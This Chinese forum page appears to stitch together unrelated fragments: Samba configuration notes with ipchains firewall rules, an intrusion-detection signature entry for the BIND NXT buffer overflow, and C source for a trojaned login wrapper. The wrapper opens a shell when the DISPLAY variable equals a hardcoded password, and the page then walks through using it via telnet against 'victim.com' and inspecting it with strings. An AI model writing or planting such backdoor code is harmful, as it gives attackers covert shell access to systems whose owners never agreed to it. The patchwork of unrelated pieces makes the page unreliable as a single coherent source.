samba是不属于守护进程服务即xinetd的,但是samba的管理工具swat属于xinetd服务的,swat(samba web administration tool) 启动swat不必启动apache服务器,swat有自己的内嵌的web服务器因为samba不使用加密连接,所以不要远程使用swat工具。
(1)允许外部某个主机访问内部samba服务,通过ipchains建立如下规则
# ipchains -A input -p tcp -s trusted.ext.system.ip -d myip 137:139 -j ACCEPT
# ipchains -A input -p udp -s trusted.ext.system.ip -d myip 137:139 -j ACCEPT
# ipchains -A input -i !lo -d myip 137:139 -j DENY -l
samba包过滤功能:
# grep netbios /etc/services
(2)Samba和Windows系统下的密码处理认证方式
因为两者的密码处理认证方式不同,所以导致输入正确的密码时还是无法通过。以Windows来说,系统预设是使用encrypt编码的方式,而samba则是预设使用text明码的方式。所以说解决的方式有:
方法一是把smb.conf 档案内的 encrypt passwords 改成 = yes :
encrypt passwords = yes
smb passwd file = /etc/smbpasswd
然后使用 smbpasswd -a xxxx 建立主机上 xxxx user 的存取密码。往后windows就使用这个密码即可。
注意:改的登录要先恢复原状。此方式使用编码的密码方式来存取。
方法二是找 /usr/doc/sambaX-XXXX/docs 目录的 .reg 登录档案, 在windows把该档案汇入系统后即可。让大家是是使用明码的方式来存取即可。
[/indent] 攻击特征名称:DNS EXPLOIT 溢出测试
SID号:261
攻击危害:严重,DNS服务器受控允许攻击者执行拥有运行BIND权限的用户的任意命令。因为名为ADMROCKS的子目录被放在BIND软件的相关目录里,所以这种攻击有时被认为是ADMROCKS
信息:摘要:由对NXT记录错误确认相关的尝试性缓存溢出引发。详细信息:DNS NXT记录的错误确认允许攻击者进行缓存溢出攻击,这允许以拥有运行BIND权限的用户身份执行任意代码。
受影响的系统:BIND8.2以上版本,不包括8.2.2版
攻击情景:攻击者能够抓住这个缺陷对DNS服务器进行远程访问
攻击实现:容易,代码存在缓存溢出的漏洞。
主动错误:未知
被动错误:未知
攻击对策:升级BIND为8.2.2版或更高,或给BIND打补丁
参考:url,[url]www.cert.org/advisories/CA-1998-05.html[/url] #include <stdio.h>
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
利用后门登录
首先Telnet服务是打开的,在自己机器上:
bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
strings命令
strings命令能够打印出二进制文件中的可显示
字符串,用于刚才的ulogin程序:
bash$ strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh
页:
[1]